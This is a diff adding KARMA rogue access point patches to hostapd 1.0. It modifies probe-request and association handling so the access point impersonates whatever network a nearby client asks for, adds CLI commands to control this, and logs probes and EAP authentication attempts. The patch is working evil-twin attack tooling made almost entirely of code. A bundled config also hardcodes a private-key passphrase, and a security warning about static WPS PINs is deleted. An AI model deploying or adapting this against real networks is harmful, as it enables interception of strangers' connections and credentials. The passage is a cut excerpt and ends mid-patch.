++	} else if (os_strcmp(buf, "KARMA_BLACK") == 0) {
++		if (hostapd_ctrl_iface_karma_black_white(hapd, 1))
++			reply_len = -1;
++	} else if (os_strcmp(buf, "KARMA_DISABLE") == 0) {
++		if (hostapd_ctrl_iface_karma_enable_disable(hapd, 0))
++			reply_len = -1;
++	} else if (os_strcmp(buf, "KARMA_ENABLE") == 0) {
++		if (hostapd_ctrl_iface_karma_enable_disable(hapd, 1))
++			reply_len = -1;
++// END KARMA
+ 	} else {
+ 		os_memcpy(reply, "UNKNOWN COMMAND\n", 16);
+ 		reply_len = 16;
+diff -Nur hostapd-1.0/hostapd/hostapd_cli.c hostapd-1.0-karma/hostapd/hostapd_cli.c
+--- hostapd-1.0/hostapd/hostapd_cli.c	2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/hostapd_cli.c	2012-08-06 14:34:58.000000000 +0100
+@@ -21,6 +21,9 @@
+ #include "utils/edit.h"
+ #include "common/version.h"
+ 
++// Added this here as it is in an include file that isn't normally included
++// by the cli
++#define HOSTAPD_MAX_SSID_LEN 32
+ 
+ static const char *hostapd_cli_version =
+ "hostapd_cli v" VERSION_STR "\n"
+@@ -81,31 +84,44 @@
+ 
+ static const char *commands_help =
+ "Commands:\n"
+-"   mib                  get MIB variables (dot1x, dot11, radius)\n"
+-"   sta <addr>           get MIB variables for one station\n"
+-"   all_sta              get MIB variables for all stations\n"
+-"   new_sta <addr>       add a new station\n"
++"   mib                    get MIB variables (dot1x, dot11, radius)\n"
++"   sta <addr>             get MIB variables for one station\n"
++"   all_sta                get MIB variables for all stations\n"
++"   new_sta <addr>         add a new station\n"
+ "   deauthenticate <addr>  deauthenticate a station\n"
+-"   disassociate <addr>  disassociate a station\n"
++"   disassociate <addr>    disassociate a station\n"
+ #ifdef CONFIG_IEEE80211W
+-"   sa_query <addr>      send SA Query to a station\n"
++"   sa_query <addr>        send SA Query to a station\n"
+ #endif /* CONFIG_IEEE80211W */
+ #ifdef CONFIG_WPS
+ "   wps_pin <uuid> <pin> [timeout] [addr]  add WPS Enrollee PIN\n"
+-"   wps_check_pin <PIN>  verify PIN checksum\n"
+-"   wps_pbc              indicate button pushed to initiate PBC\n"
++"   wps_check_pin <PIN>    verify PIN checksum\n"
++"   wps_pbc                indicate button pushed to initiate PBC\n"
+ #ifdef CONFIG_WPS_OOB
+ "   wps_oob <type> <path> <method>  use WPS with out-of-band (UFD)\n"
+ #endif /* CONFIG_WPS_OOB */
+ "   wps_ap_pin <cmd> [params..]  enable/disable AP PIN\n"
+ "   wps_config <SSID> <auth> <encr> <key>  configure AP\n"
+ #endif /* CONFIG_WPS */
+-"   get_config           show current configuration\n"
+-"   help                 show this usage help\n"
+-"   interface [ifname]   show interfaces/select interface\n"
+-"   level <debug level>  change debug level\n"
+-"   license              show full hostapd_cli license\n"
+-"   quit                 exit hostapd_cli\n";
++"   get_config             show current configuration\n"
++"   help                   show this usage help\n"
++"   interface [ifname]     show interfaces/select interface\n"
++"   level <debug level>    change debug level\n"
++"   license                show full hostapd_cli license\n"
++"   ping                   send a ping, get a pong\n"
++"   karma_change_ssid      change the default SSID for when Karma is off\n"
++"   karma_get_ssid         get the default SSID for when Karma is off\n"
++"   karma_enable           enable Karma\n"
++"   karma_disable          disable Karma\n"
++"   karma_black            blacklist Karma\n"
++"   karma_white            whitelist Karma\n"
++"   karma_get_black_white  get the black/whitelist state of Karma\n"
++"   karma_add_ssid         add an SSID to the black/white list\n"
++"   karma_del_ssid         delete an SSID from the black/white list\n"
++"   karma_get_state        get the state of Karma\n"
++"   karma_add_black_mac    add a MAC to the black list\n"
++"   karma_add_white_mac    add a MAC to the white list\n"
++"   quit                   exit hostapd_cli\n";
+ 
+ static struct wpa_ctrl *ctrl_conn;
+ static int hostapd_cli_quit = 0;
+@@ -343,6 +359,129 @@
+ 	return wpa_ctrl_command(ctrl, buf);
+ }
+ 
++// KARMA
++
++static int hostapd_cli_cmd_karma_del_ssid(struct wpa_ctrl *ctrl, int argc,
++					char *argv[])
++{
++	char buf[50];
++	if (argc < 1) {
++		printf("Invalid 'delete Karma SSID' command - exactly one "
++		       "argument, SSID, is required.\n");
++		return -1;
++	}
++	os_snprintf(buf, sizeof(buf), "KARMA_DEL_SSID %s", argv[0]);
++	return wpa_ctrl_command(ctrl, buf);
++}
++
++static int hostapd_cli_cmd_karma_change_ssid(struct wpa_ctrl *ctrl, int argc,
++					char *argv[])
++{
++	// Max length of SSID is 32 chars + the command and the null byte
++	char buf[50];
++	if (argc < 1) {
++		printf("Invalid 'change Karma SSID' command - exactly one "
++		       "argument, SSID, is required.\n");
++		return -1;
++	}
++	if (strlen(argv[0]) > HOSTAPD_MAX_SSID_LEN) {
++		printf("The max length of an SSID is %i\n", HOSTAPD_MAX_SSID_LEN);
++		return -1;
++	}
++	os_snprintf(buf, sizeof(buf), "KARMA_CHANGE_SSID %s", argv[0]);
++	return wpa_ctrl_command(ctrl, buf);
++}
++static int hostapd_cli_cmd_karma_get_ssid(struct wpa_ctrl *ctrl, int argc,
++					char *argv[])
++{
++	return wpa_ctrl_command(ctrl, "KARMA_GET_SSID");
++}
++static int hostapd_cli_cmd_karma_add_white_mac(struct wpa_ctrl *ctrl, int argc,
++					char *argv[])
++{
++	// Max length of MAC is 17 chars + the command and the null byte
++	char buf[50];
++	if (argc < 1) {
++		printf("Invalid 'add white MAC' command - exactly one "
++		       "argument, MAC, is required.\n");
++		return -1;
++	}
++	// Can't find a define for the length of a MAC address as a string
++	// ETH_ALEN is the number of individual bytes
++	if (strlen(argv[0]) != 17) {
++		printf("The MAC should be in the format 00:11:22:33:44:55\n");
++		return -1;
++	}
++	os_snprintf(buf, sizeof(buf), "KARMA_ADD_WHITE_MAC %s", argv[0]);
++	return wpa_ctrl_command(ctrl, buf);
++}
++
++static int hostapd_cli_cmd_karma_add_black_mac(struct wpa_ctrl *ctrl, int argc,
++					char *argv[])
++{
++	// Max length of MAC is 17 chars + the command and the null byte
++	char buf[50];
++	if (argc < 1) {
++		printf("Invalid 'add black MAC' command - exactly one "
++		       "argument, MAC, is required.\n");
++		return -1;
++	}
++	// Can't find a define for the length of a MAC address as a string
++	// ETH_ALEN is the number of individual bytes
++	if (strlen(argv[0]) != 17) {
++		printf("The MAC should be in the format 00:11:22:33:44:55\n");
++		return -1;
++	}
++	os_snprintf(buf, sizeof(buf), "KARMA_ADD_BLACK_MAC %s", argv[0]);
++	return wpa_ctrl_command(ctrl, buf);
++}
++
++static int hostapd_cli_cmd_karma_add_ssid(struct wpa_ctrl *ctrl, int argc,
++					char *argv[])
++{
++	// Max length of SSID is 32 chars + the command and the null byte
++	char buf[50];
++	if (argc < 1) {
++		printf("Invalid 'added Karma SSID' command - exactly one "
++		       "argument, SSID, is required.\n");
++		return -1;
++	}
++	if (strlen(argv[0]) > HOSTAPD_MAX_SSID_LEN) {
++		printf("The max length of an SSID is %i\n", HOSTAPD_MAX_SSID_LEN);
++		return -1;
++	}
++	os_snprintf(buf, sizeof(buf), "KARMA_ADD_SSID %s", argv[0]);
++	return wpa_ctrl_command(ctrl, buf);
++}
++
++// These should be one function with a parameter
++
++static int hostapd_cli_cmd_karma_disable(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++	return wpa_ctrl_command(ctrl, "KARMA_DISABLE");
++}
++static int hostapd_cli_cmd_karma_black(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++	return wpa_ctrl_command(ctrl, "KARMA_BLACK");
++}
++static int hostapd_cli_cmd_karma_white(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++	return wpa_ctrl_command(ctrl, "KARMA_WHITE");
++}
++static int hostapd_cli_cmd_karma_get_black_white(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++	return wpa_ctrl_command(ctrl, "KARMA_BLACK_WHITE");
++}
++static int hostapd_cli_cmd_karma_enable(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++	return wpa_ctrl_command(ctrl, "KARMA_ENABLE");
++}
++static int hostapd_cli_cmd_karma_get_state(struct wpa_ctrl *ctrl, int argc, char *argv[])
++{
++	return wpa_ctrl_command(ctrl, "KARMA_STATE");
++}
++// END KARMA
++
+ 
+ #ifdef CONFIG_IEEE80211W
+ static int hostapd_cli_cmd_sa_query(struct wpa_ctrl *ctrl, int argc,
+@@ -757,6 +896,22 @@
+ 	{ "quit", hostapd_cli_cmd_quit },
+ 	{ "set", hostapd_cli_cmd_set },
+ 	{ "get", hostapd_cli_cmd_get },
++// KARMA
++// Because I always type ? first
++	{ "?", hostapd_cli_cmd_help },
++	{ "karma_del_ssid", hostapd_cli_cmd_karma_del_ssid},
++	{ "karma_add_ssid", hostapd_cli_cmd_karma_add_ssid},
++	{ "karma_add_black_mac", hostapd_cli_cmd_karma_add_black_mac},
++	{ "karma_add_white_mac", hostapd_cli_cmd_karma_add_white_mac},
++	{ "karma_change_ssid", hostapd_cli_cmd_karma_change_ssid},
++	{ "karma_get_ssid", hostapd_cli_cmd_karma_get_ssid},
++	{ "karma_get_state", hostapd_cli_cmd_karma_get_state},
++	{ "karma_disable", hostapd_cli_cmd_karma_disable},
++	{ "karma_enable", hostapd_cli_cmd_karma_enable},
++	{ "karma_white", hostapd_cli_cmd_karma_white},
++	{ "karma_black", hostapd_cli_cmd_karma_black},
++	{ "karma_get_black_white", hostapd_cli_cmd_karma_get_black_white},
++// END KARMA
+ 	{ NULL, NULL }
+ };
+ 
+diff -Nur hostapd-1.0/hostapd/hostapd.conf hostapd-1.0-karma/hostapd/hostapd.conf
+--- hostapd-1.0/hostapd/hostapd.conf	2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/hostapd.conf	2012-08-06 17:06:46.000000000 +0100
+@@ -1,3 +1,12 @@
++# 0 = disabled
++# 1 = enabled
++enable_karma=1
++
++# 0 = white
++# 1 = black
++karma_black_white=1
++#karma_ssid_file=/etc/hostapd_karma_ssid
++
+ ##### hostapd configuration file ##############################################
+ # Empty lines and lines starting with # are ignored
+ 
+@@ -47,9 +56,9 @@
+ #  4 = warning
+ #
+ logger_syslog=-1
+-logger_syslog_level=2
++logger_syslog_level=0
+ logger_stdout=-1
+-logger_stdout_level=2
++logger_stdout_level=0
+ 
+ # Dump file for state information (on SIGUSR1)
+ dump_file=/tmp/hostapd.dump
+@@ -939,13 +948,9 @@
+ # in the AP).
+ #pbc_in_m1=1
+ 
+-# Static access point PIN for initial configuration and adding Registrars
++# Access point PIN for initial configuration and adding Registrars
+ # If not set, hostapd will not allow external WPS Registrars to control the
+-# access point. The AP PIN can also be set at runtime with hostapd_cli
+-# wps_ap_pin command. Use of temporary (enabled by user action) and random
+-# AP PIN is much more secure than configuring a static AP PIN here. As such,
+-# use of the ap_pin parameter is not recommended if the AP device has means for
+-# displaying a random PIN.
++# access point.
+ #ap_pin=12345670
+ 
+ # Skip building of automatic WPS credential
+@@ -1117,8 +1122,13 @@
+ # as the defaults for the following BSSes. However, it is recommended that all
+ # BSSes include explicit configuration of all relevant configuration items.
+ #
+-#bss=wlan0_0
++#bss=wlan10
+ #ssid=test2
++#bssid=02:21:91:01:11:31
++#
++#bss=wlan11
++#ssid=test3
++#bssid=02:21:91:01:11:32
+ # most of the above items can be used here (apart from radio interface specific
+ # items, like channel)
+ 
+diff -Nur hostapd-1.0/hostapd/main.c hostapd-1.0-karma/hostapd/main.c
+--- hostapd-1.0/hostapd/main.c	2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/hostapd/main.c	2012-08-06 16:53:56.000000000 +0100
+@@ -512,7 +512,8 @@
+ 		"User space daemon for IEEE 802.11 AP management,\n"
+ 		"IEEE 802.1X/WPA/WPA2/EAP/RADIUS Authenticator\n"
+ 		"Copyright (c) 2002-2012, Jouni Malinen <j@w1.fi> "
+-		"and contributors\n");
++		"and contributors\n"
++		"Karma patches by Robin Wood - robin@digininja.org\n");
+ }
+ 
+ 
+diff -Nur hostapd-1.0/src/ap/ap_config.h hostapd-1.0-karma/src/ap/ap_config.h
+--- hostapd-1.0/src/ap/ap_config.h	2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/ap/ap_config.h	2012-08-06 12:20:55.000000000 +0100
+@@ -364,6 +364,19 @@
+ };
+ 
+ 
++/*
++* KARMA STUFF
++*
++* A structure to hold the black/white list
++*
++*/
++typedef struct karma_ssid{
++	int length;
++	char *ssid;
++	struct karma_ssid *next;
++} karma_ssid_t;
++// END KARMA
++
+ /**
+  * struct hostapd_config - Per-radio interface configuration
+  */
+@@ -371,6 +384,14 @@
+ 	struct hostapd_bss_config *bss, *last_bss;
+ 	size_t num_bss;
+ 
++	// KARMA
++	int enable_karma;
++	// 0 = white
++	int karma_black_white;      /* KARMA  black or white list*/
++	karma_ssid_t *karma_list;
++
++	// KARMA END
++
+ 	u16 beacon_int;
+ 	int rts_threshold;
+ 	int fragm_threshold;
+diff -Nur hostapd-1.0/src/ap/beacon.c hostapd-1.0-karma/src/ap/beacon.c
+--- hostapd-1.0/src/ap/beacon.c	2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/ap/beacon.c	2012-08-06 17:01:34.000000000 +0100
+@@ -198,6 +198,11 @@
+ 	struct sta_info *sta = NULL;
+ 	size_t buflen;
+ 	size_t i;
++	// KARMA
++	karma_ssid_t *karma_ssid;
++	int found;
++	int free_ssid = 0;
++	// END KARMA
+ 
+ 	ie = mgmt->u.probe_req.variable;
+ 	if (len < IEEE80211_HDRLEN + sizeof(mgmt->u.probe_req))
+@@ -274,34 +279,93 @@
+ 	}
+ #endif /* CONFIG_P2P */
+ 
+-	if (elems.ssid_len == 0 ||
+-	    (elems.ssid_len == hapd->conf->ssid.ssid_len &&
+-	     os_memcmp(elems.ssid, hapd->conf->ssid.ssid, elems.ssid_len) ==
+-	     0)) {
+-		ssid = hapd->conf->ssid.ssid;
+-		ssid_len = hapd->conf->ssid.ssid_len;
+-		if (sta)
+-			sta->ssid_probe = &hapd->conf->ssid;
+-	}
+ 
+-	if (!ssid) {
+-		if (!(mgmt->da[0] & 0x01)) {
++	// KARMA
++	if (hapd->iconf->enable_karma) {
++		wpa_printf(MSG_MSGDUMP, "KARMA CTRL_IFACE Karam is enabled for handling probe request\n");
++		// Max length for SSID is 32 chars
++		if (elems.ssid_len > 0 && elems.ssid_len <= 32) {
++
++			char myssid_txt[33];
++			ieee802_11_print_ssid(myssid_txt, elems.ssid, elems.ssid_len);
++
++			wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Requested ESSID is %s", myssid_txt);
++
++			karma_ssid = hapd->iconf->karma_list;
++
++			found = 0;
++
++			while (karma_ssid != NULL) {
++				wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Checking ESSID %s against %s", karma_ssid->ssid, myssid_txt);
++
++				if (strlen(myssid_txt) == karma_ssid->length && strncmp(karma_ssid->ssid, myssid_txt, karma_ssid->length) == 0) {
++					wpa_printf(MSG_DEBUG, "KARMA CTRL_IFACE Match found, leaving loop");
++					found = 1;
++					break;
++				}
++				karma_ssid = karma_ssid->next;
++			}
++
++
++			if (hapd->iconf->karma_black_white == 0 && found == 0) {
++				// white list
++				wpa_printf(MSG_MSGDUMP, "KARMA: ESSID not found in white list mode so not accepting probe");
++				return;
++			}
++			if (hapd->iconf->karma_black_white == 1 && found == 1) {
++				// black list
++				wpa_printf(MSG_MSGDUMP, "KARMA: ESSID found in black list mode so not accepting the probe");
++				return;
++			}
++
++			ssid = os_malloc(elems.ssid_len + 1);
++			free_ssid = 1;
++
++			memcpy (ssid, elems.ssid, elems.ssid_len + 1);
++			ssid_len = elems.ssid_len;
++			if (sta)
++				sta->ssid_probe = &hapd->conf->ssid;
++		}
++
++		if (elems.ssid_len != 0) {
+ 			char ssid_txt[33];
+ 			ieee802_11_print_ssid(ssid_txt, elems.ssid,
+-					      elems.ssid_len);
+-			wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
+-				   " for foreign SSID '%s' (DA " MACSTR ")",
+-				   MAC2STR(mgmt->sa), ssid_txt,
+-				   MAC2STR(mgmt->da));
++						  elems.ssid_len);
++			wpa_printf(MSG_MSGDUMP, "KARMA: Probe Request from " MACSTR
++				   " for SSID '%s'",
++				   MAC2STR(mgmt->sa), ssid_txt);
++		}
++	} else {
++		wpa_printf(MSG_MSGDUMP, "KARMA is disabled when handling probe request\n");
++		if (elems.ssid_len == 0 ||
++			(elems.ssid_len == hapd->conf->ssid.ssid_len &&
++			 os_memcmp(elems.ssid, hapd->conf->ssid.ssid, elems.ssid_len) ==
++			 0)) {
++			ssid = hapd->conf->ssid.ssid;
++			ssid_len = hapd->conf->ssid.ssid_len;
++			if (sta)
++				sta->ssid_probe = &hapd->conf->ssid;
++		}
++
++		if (!ssid) {
++			if (!(mgmt->da[0] & 0x01)) {
++				char ssid_txt[33];
++				ieee802_11_print_ssid(ssid_txt, elems.ssid,
++							  elems.ssid_len);
++				wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
++					   " for foreign SSID '%s'",
++					   MAC2STR(mgmt->sa), ssid_txt);
++			}
++			return;
+ 		}
+-		return;
+ 	}
++	// KARMA END
+ 
+ #ifdef CONFIG_INTERWORKING
+ 	if (elems.interworking && elems.interworking_len >= 1) {
+ 		u8 ant = elems.interworking[0] & 0x0f;
+ 		if (ant != INTERWORKING_ANT_WILDCARD &&
+-		    ant != hapd->conf->access_network_type) {
++			ant != hapd->conf->access_network_type) {
+ 			wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
+ 				   " for mismatching ANT %u ignored",
+ 				   MAC2STR(mgmt->sa), ant);
+@@ -310,14 +374,14 @@
+ 	}
+ 
+ 	if (elems.interworking &&
+-	    (elems.interworking_len == 7 || elems.interworking_len == 9)) {
++		(elems.interworking_len == 7 || elems.interworking_len == 9)) {
+ 		const u8 *hessid;
+ 		if (elems.interworking_len == 7)
+ 			hessid = elems.interworking + 1;
+ 		else
+ 			hessid = elems.interworking + 1 + 2;
+ 		if (!is_broadcast_ether_addr(hessid) &&
+-		    os_memcmp(hessid, hapd->conf->hessid, ETH_ALEN) != 0) {
++			os_memcmp(hessid, hapd->conf->hessid, ETH_ALEN) != 0) {
+ 			wpa_printf(MSG_MSGDUMP, "Probe Request from " MACSTR
+ 				   " for mismatching HESSID " MACSTR
+ 				   " ignored",
+@@ -427,6 +491,13 @@
+ 	wpa_printf(MSG_EXCESSIVE, "STA " MACSTR " sent probe request for %s "
+ 		   "SSID", MAC2STR(mgmt->sa),
+ 		   elems.ssid_len == 0 ? "broadcast" : "our");
++
++	// KARMA
++	if (free_ssid) {
++//		wpa_printf(MSG_MSGDUMP, "KARMA ssid malloc'd so free it\n");
++		os_free (ssid);
++	}
++	// END KARMA
+ }
+ 
+ #endif /* NEED_AP_MLME */
+diff -Nur hostapd-1.0/src/ap/ieee802_11.c hostapd-1.0-karma/src/ap/ieee802_11.c
+--- hostapd-1.0/src/ap/ieee802_11.c	2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/ap/ieee802_11.c	2012-08-06 12:24:27.000000000 +0100
+@@ -520,18 +520,28 @@
+ 	if (ssid_ie == NULL)
+ 		return WLAN_STATUS_UNSPECIFIED_FAILURE;
+ 
+-	if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+-	    os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++	// KARMA
++	if (hapd->iconf->enable_karma) {
+ 		char ssid_txt[33];
+ 		ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
+-		hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
+-			       HOSTAPD_LEVEL_INFO,
+-			       "Station tried to associate with unknown SSID "
+-			       "'%s'", ssid_txt);
+-		return WLAN_STATUS_UNSPECIFIED_FAILURE;
+-	}
++		wpa_printf(MSG_MSGDUMP, "KARMA: Checking SSID for start of association, pass through %s", ssid_txt);
+ 
+-	return WLAN_STATUS_SUCCESS;
++		return WLAN_STATUS_SUCCESS;
++	} else {
++		if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
++			os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++			char ssid_txt[33];
++			ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
++			hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
++					   HOSTAPD_LEVEL_INFO,
++					   "Station tried to associate with unknown SSID "
++					   "'%s'", ssid_txt);
++			return WLAN_STATUS_UNSPECIFIED_FAILURE;
++		}
++
++		return WLAN_STATUS_SUCCESS;
++	}
++	// KARMA END
+ }
+ 
+ 
+@@ -1523,6 +1533,21 @@
+ 		 * step.
+ 		 */
+ 		ap_sta_set_authorized(hapd, sta, 1);
++
++		// KARMA
++		// Print that it has associated and give the MAC and AP
++		// Doesn't currently work though as can't find ESSID
++		if (hapd->iconf->enable_karma) {
++			// This gives the ESSID of the AP and not the one from the probe.
++			//struct hostapd_ssid *ssid = sta->ssid;
++
++			// printf("KARMA: Successful association of " MACSTR " to ESSID '%s'\n",
++			//	   MAC2STR(mgmt->da), ssid->ssid);
++			printf("KARMA: Successful association of " MACSTR "\n",
++				   MAC2STR(mgmt->da));
++		}
++
++		// KARMA END
+ 	}
+ 
+ 	if (reassoc)
+diff -Nur hostapd-1.0/src/crypto/random.c hostapd-1.0-karma/src/crypto/random.c
+--- hostapd-1.0/src/crypto/random.c	2012-05-09 22:56:09.000000000 +0100
++++ hostapd-1.0-karma/src/crypto/random.c	2012-08-06 12:20:55.000000000 +0100
+@@ -134,8 +134,8 @@
+ 	static unsigned int count = 0;
+ 
+ 	count++;
+-	wpa_printf(MSG_MSGDUMP, "Add randomness: count=%u entropy=%u",
+-		   count, entropy);
++	//wpa_printf(MSG_MSGDUMP, "Add randomness: count=%u entropy=%u",
++	//	   count, entropy);
+ 	if (entropy > MIN_COLLECT_ENTROPY && (count & 0x3ff) != 0) {
+ 		/*
+ 		 * No need to add more entropy at this point, so save CPU and
diff --git a/net-wireless/hostapd/files/hostapd-1.0-karma.patch b/net-wireless/hostapd/files/hostapd-1.0-karma.patch
new file mode 100644
index 00000000..2b88965a
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-karma.patch
@@ -0,0 +1,465 @@
+diff -urN hostapd-1.0.orig//hostapd/Makefile hostapd-1.0/hostapd/Makefile
+--- hostapd-1.0.orig//hostapd/Makefile	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/hostapd/Makefile	2012-07-17 18:36:53.318959033 +0800
+@@ -3,7 +3,7 @@
+ endif
+ 
+ ifndef CFLAGS
+-CFLAGS = -MMD -O2 -Wall -g
++CFLAGS = -MMD -O2 -Wall -DDEBUG -g -pg
+ endif
+ 
+ CFLAGS += -I../src
+@@ -95,6 +95,7 @@
+ 
+ OBJS += ../src/eapol_auth/eapol_auth_sm.o
+ 
++OBJS += ../src/karma/karma.o
+ 
+ ifndef CONFIG_NO_DUMP_STATE
+ # define HOSTAPD_DUMP_STATE to include SIGUSR1 handler for dumping state to
+
+diff -urN hostapd-1.0.orig//hostapd/hostapd.conf hostapd-1.0/hostapd/hostapd.conf
+--- hostapd-1.0.orig//hostapd/hostapd.conf	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/hostapd/hostapd.conf	2012-07-17 18:36:53.319959023 +0800
+@@ -3,7 +3,7 @@
+ 
+ # AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for
+ # management frames); ath0 for madwifi
+-interface=wlan0
++interface=wlan1
+ 
+ # In case of madwifi, atheros, and nl80211 driver interfaces, an additional
+ # configuration parameter, bridge, may be used to notify hostapd if the
+@@ -23,6 +23,7 @@
+ # Use driver=none if building hostapd as a standalone RADIUS server that does
+ # not control any wireless/wired driver.
+ # driver=hostap
++driver=nl80211
+ 
+ # hostapd event logger configuration
+ #
+@@ -88,7 +89,7 @@
+ # Country code (ISO/IEC 3166-1). Used to set regulatory domain.
+ # Set as needed to indicate country in which device is operating.
+ # This can limit available channels and transmit power.
+-#country_code=US
++country_code=US
+ 
+ # Enable IEEE 802.11d. This advertises the country_code and the set of allowed
+ # channels and transmit power levels based on the regulatory limits. The
+@@ -413,7 +414,7 @@
+ ##### IEEE 802.1X-2004 related configuration ##################################
+ 
+ # Require IEEE 802.1X authorization
+-#ieee8021x=1
++ieee8021x=1
+ 
+ # IEEE 802.1X/EAPOL version
+ # hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL
+@@ -421,7 +422,7 @@
+ # the new version number correctly (they seem to drop the frames completely).
+ # In order to make hostapd interoperate with these clients, the version number
+ # can be set to the older version (1) with this configuration value.
+-#eapol_version=2
++eapol_version=1
+ 
+ # Optional displayable message sent with EAP Request-Identity. The first \0
+ # in this string will be converted to ASCII-0 (nul). This can be used to
+@@ -463,16 +464,18 @@
+ # Use integrated EAP server instead of external RADIUS authentication
+ # server. This is also needed if hostapd is configured to act as a RADIUS
+ # authentication server.
+-eap_server=0
++eap_server=1
+ 
+ # Path for EAP server user database
+ #eap_user_file=/etc/hostapd.eap_user
+ 
+ # CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #ca_cert=/etc/hostapd.ca.pem
++ca_cert=/etc/hostapd/sf_bundle.pem
+ 
+ # Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #server_cert=/etc/hostapd.server.pem
++server_cert=/etc/hostapd/INTRANET.pem
+ 
+ # Private key matching with the server certificate for EAP-TLS/PEAP/TTLS
+ # This may point to the same file as server_cert if both certificate and key
+@@ -480,9 +483,11 @@
+ # used by commenting out server_cert and specifying the PFX file as the
+ # private_key.
+ #private_key=/etc/hostapd.server.prv
++private_key=/etc/hostapd/INTRANET.pem
+ 
+ # Passphrase for private key
+ #private_key_passwd=secret passphrase
++private_key_passwd=Cricket8
+ 
+ # Enable CRL verification.
+ # Note: hostapd does not yet support CRL downloading based on CDP. Thus, a
+@@ -680,6 +685,7 @@
+ # bit0 = WPA
+ # bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled)
+ #wpa=1
++wpa=3
+ 
+ # WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit
+ # secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase
+@@ -701,6 +707,7 @@
+ # added to enable SHA256-based stronger algorithms.
+ # (dot11RSNAConfigAuthenticationSuitesTable)
+ #wpa_key_mgmt=WPA-PSK WPA-EAP
++wpa_key_mgmt=WPA-EAP
+ 
+ # Set of accepted cipher suites (encryption algorithms) for pairwise keys
+ # (unicast packets). This is a space separated list of algorithms:
+diff -urN hostapd-1.0.orig//hostapd/main.c hostapd-1.0/hostapd/main.c
+--- hostapd-1.0.orig//hostapd/main.c	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/hostapd/main.c	2012-07-17 18:37:57.724959001 +0800
+@@ -39,6 +39,10 @@
+ 
+ extern struct wpa_driver_ops *wpa_drivers[];
+ 
++/* Karma Mode */
++#include "karma/karma.h"
++int karma_beacon_respond = 0;
++int karma_eap_auth = 0;
+ 
+ struct hapd_global {
+ 	void **drv_priv;
+@@ -521,7 +525,7 @@
+ 	show_version();
+ 	fprintf(stderr,
+ 		"\n"
+-		"usage: hostapd [-hdBKtv] [-P <PID file>] [-e <entropy file>] "
++		"usage: hostapd [-hdBKtvRA] [-P <PID file>] [-e <entropy file>] "
+ 		"<configuration file(s)>\n"
+ 		"\n"
+ 		"options:\n"
+@@ -535,7 +539,9 @@
+ 		"   -f   log output to debug file instead of stdout\n"
+ #endif /* CONFIG_DEBUG_FILE */
+ 		"   -t   include timestamps in some debug messages\n"
+-		"   -v   show hostapd version\n");
++		"   -v   show hostapd version\n"
++        "   -R   [karma] respond to all probes using requested SSID\n" 
++        "   -A   [karma] enable authentication attempt logging\n"); 
+ 
+ 	exit(1);
+ }
+@@ -564,7 +570,7 @@
+ 		return -1;
+ 
+ 	for (;;) {
+-		c = getopt(argc, argv, "Bde:f:hKP:tv");
++		c = getopt(argc, argv, "Bde:f:hKP:tvRA");
+ 		if (c < 0)
+ 			break;
+ 		switch (c) {
+@@ -595,6 +601,12 @@
+ 		case 't':
+ 			wpa_debug_timestamp++;
+ 			break;
++        case 'R':
++            karma_beacon_respond++;
++            break;
++        case 'A':
++            karma_eap_auth++;
++            break;
+ 		case 'v':
+ 			show_version();
+ 			exit(1);
+diff -urN hostapd-1.0.orig//src/ap/beacon.c hostapd-1.0/src/ap/beacon.c
+--- hostapd-1.0.orig//src/ap/beacon.c	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/beacon.c	2012-07-17 18:36:53.322959001 +0800
+@@ -14,6 +14,11 @@
+  * See README and COPYING for more details.
+  */
+ 
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+ 
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -283,7 +288,24 @@
+ 		if (sta)
+ 			sta->ssid_probe = &hapd->conf->ssid;
+ 	}
+-
++  /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */
++  else if (karma_beacon_respond) {
++          char ssid_txt[33];
++    char *message = NULL;
++
++                ieee802_11_print_ssid(ssid_txt, elems.ssid, elems.ssid_len);
++
++    if (asprintf(&message, "Probe request from " MACSTR " for SSID '%s'", MAC2STR(mgmt->sa), ssid_txt) < 0)
++      wpa_printf(MSG_ERROR, "Error allocating memory for Karma message\n");
++
++    karma_logger(0, message);
++    free(message);
++
++    ssid = (char *)elems.ssid;
++    ssid_len = elems.ssid_len;
++                //if (sta)
